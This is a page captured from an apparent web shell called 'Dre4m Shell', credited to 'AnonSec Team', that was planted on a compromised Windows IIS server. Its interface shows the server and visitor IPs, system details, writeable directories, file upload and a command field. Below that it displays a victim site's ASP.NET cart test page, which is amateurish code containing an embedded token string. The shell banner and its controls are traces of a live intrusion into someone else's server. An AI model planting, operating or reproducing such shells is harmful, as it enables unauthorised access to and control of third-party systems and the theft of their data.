Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.119.122.69
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/tradepan/eup4u.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/tradepan/eup4u.com/wwwroot/ajax.aspx
<%@ page language="C#" autoeventwireup="true" inherits="ajax, App_Web_ounu0rxs" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    
    <script type="text/javascript" src="data.json"></script>
<script>
function AddToCartAjax(method, data, beforeSend, success, error) {
    $.ajax({
        url: 'ajax.aspx/', + method,
        data: JSON.stringify(data),
        type: "POST",
        dataType: "json",
        contentType: "application/json; charset=utf-8",
        beforeSend: beforeSend,
        success: success,
        error: error
    })
}

var items = { "quantity": total_qty, "itemId": itemId };

AddToCartAjax("AddTo_Cart", items,
    function (xhr, sett) {  // @beforeSend
        alert("Start!!!");
    }, function (data, status, xhr) {   // @success
        alert("a");
    }, function(xhr, status, err){  // @error
        alert("Sorry!!!");
    });
    
</script>     
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <input type="button" value="Download Word File AJAX" onclick="DownloadFile('Sample.docx')" />
        <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
    <script type="text/javascript" src="https://cdn.datatables.net/1.10.20/js/jquery.dataTables.min.js"></script>
    <link href="https://cdn.datatables.net/1.10.20/css/jquery.dataTables.css" rel="stylesheet"
        type="text/css" />
    <script type="text/javascript">
        $(function () {
            var item_id = 4022;
            
            $.ajax({
                type: "POST",
                url: "ajax.aspx/GetCustomers",
                data: "{quantity : 1,itemId: " + item_id + "}",
                contentType: "application/json; charset=utf-8",
                dataType: "json",
                success: function(result){
                    var expires = "";
                    var days = 30;
    if (days) {
        var date = new Date();
        
        date.setTime(date.getTime() + (days*24*60*60*1000));
        expires = "; expires=" + date.toUTCString();
    }
    document.cookie = "currency" + "=" + "MDDD"   + expires + "; path=/";
    
             //   cookies['currency'] = "MDDD";
        alert(result.d);
    },
                failure: function (response) {
                    alert(response.d);
                },
                error: function (response) {
                    alert(response.d);
                }
            });
        });

    </script>
    
    <script type="text/javascript">
        function setCookie(cname, cvalue, exdays) {
            var d = new Date();
            d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
            var expires = "expires="+d.toUTCString();
            document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
        }

        function getCookie(cname) {
          var name = cname + "=";
          var ca = document.cookie.split(';');
          for(var i = 0; i < ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0) == ' ') {
              c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
              return c.substring(name.length, c.length);
            }
          }
          return "";
        }

        function DownloadFile(fileName) {
            var xx2 = getCookie("HaiT");
            var fileName2  = document.getElementById('RecoverPasswordForm').value;
            $.ajax({
                type: "POST",
                url: "ajax.aspx/SetCustomers",
                data: '{fileName: "' + fileName2 + '", Enc01: "' + xx2 + '" }',
                contentType: "application/json; charset=utf-8",
                dataType: "json",
                success: function (r) {
                    if (r.d != "" && r.d != null) {
                        setCookie("HaiT", r.d, 365);
                    }               
                    alert(r.d);

                }
            });
        };
        function Base64ToBytes(base) {
            
        };
    </script>
    
        <div id = "dvCustomers">
         <table class="tblCustomer" cellpadding="2" cellspacing="0" border="1">
            <tr>
                <th>
                    <b><u><span class="name"></span></u></b>
                </th>
            </tr>
            <tr>
                <td>
                    <b>City: </b><span class="city"></span><br />
                    <b>Postal Code: </b><span class="postal"></span><br />
                    <b>Country: </b><span class="country"></span><br />
                    <b>Phone: </b><span class="phone"></span><br />
                    <b>Fax: </b><span class="fax"></span><br />
                </td>
            </tr>
        </table>
     </div>
        <asp:TextBox ID="RecoverPasswordForm" runat="server"></asp:TextBox>
        <asp:Button ID="Button1" runat="server" Text="Button" OnClick="ButLogin_Click" />
    </div>
    
    <script>
    $(document).ready(function(){ 
     alert("Hello");
    });

 </script>
 
<SELECT name='currencies' class='currency-picker' style='width: auto; vertical-align: inherit; display: inline;'>
<OPTION   selected='selected' value='MYR'>MYR&nbsp;&nbsp;&nbsp;&nbsp;</OPTION>                 
<OPTION value='CNY'>CNY&nbsp;&nbsp;&nbsp;&nbsp;</OPTION> 
<OPTION value='USD'>USD&nbsp;&nbsp;&nbsp;&nbsp;</OPTION>               
<OPTION value='SGD'>SGD&nbsp;&nbsp;&nbsp;&nbsp;</OPTION> 
<OPTION value='THB'>THB&nbsp;&nbsp;&nbsp;&nbsp;</OPTION>               
<OPTION value='TWD'>TWD&nbsp;&nbsp;&nbsp;&nbsp;</OPTION> 
</SELECT> 

<span id="myspan"> hereismytext </span>
<div id="Span1"> hereismytext </div>

    <script type="text/javascript">
    $(document).ready(function(){ 
     alert("Hello2");
     document.getElementById("myspan").innerHTML="newtext";
     document.getElementById("Span1").innerHTML="newtext";
     
     document.getElementById("myspan").textContent="new4text";
     document.getElementById("Span1").textContent="new3text";
     
     var dcaata = '{ "Token": "3VAJ2fB4aRrqO5TI2hpD8SZrxKmj3xaThtrj2VtA8882bPM8882b9swZEzOYtoWpKKp4Q8j2mK57VXVidXP8882fAfQJI5h6udW0LCRti8hof8882bnjafOOV4BlclLrez8882bqBQfpnWJG7C5D8882bzztHIArEw6V4viLEJdxRWl8wL7fBAuYhZx9mJJwjEH7sYPvphMrmwMHRZ8882bEdcTP9MlQU7SBD4ANOF5qsD6O0URURvexcz4UsxdRXJsK7SxG6d3XLX1YFU7Kz3OuAgDzTXRGuJJF01waqkTeGe1hnvPaMcOOWoxbb0tmPHh1gMSijU2FeBwoocPMhn2Q0NKV68882bdwf8882bG7if8882f08882baRZpybgOWcVvPf8MuJiMF93TsNuyXBxbJoj2AufMYL0nhOPdLVtaC6XpI08882f8MczQC06LtfeDUEPSOc5bAQDemfpSEKbISU8883d", "Cart": [  { "EUP": 3, "Qty": 2, "Price": 45.30, "Img":"901" } , { "EUP": 6, "Qty": 8, "Price": 45.30, "Img":"881" }   ] }';
     var mycdata = JSON.parse(dcaata);
     alert(mycdata.Cart[0].EUP);     
     var mindata = mycdata.Cart;
     var Total = 0;
     for (i in mycdata.Cart) { 
        alert(mycdata.Cart[i].EUP); 
        Total += ( mycdata.Cart[i].Qty * mycdata.Cart[i].Price) ;
     }
     
     alert( Total); 
     
     var daata = '[{"name" : "Ashwin", "age" : "20"},{"name" : "Abhinandan", "age" : "20"}]';
     var mydata = JSON.parse(daata);
alert(mydata[0].name);
alert(mydata[0].age);

     
    });
    </script>    
    </form>
</body>
</html>

Anon7 - 2022
AnonSec Team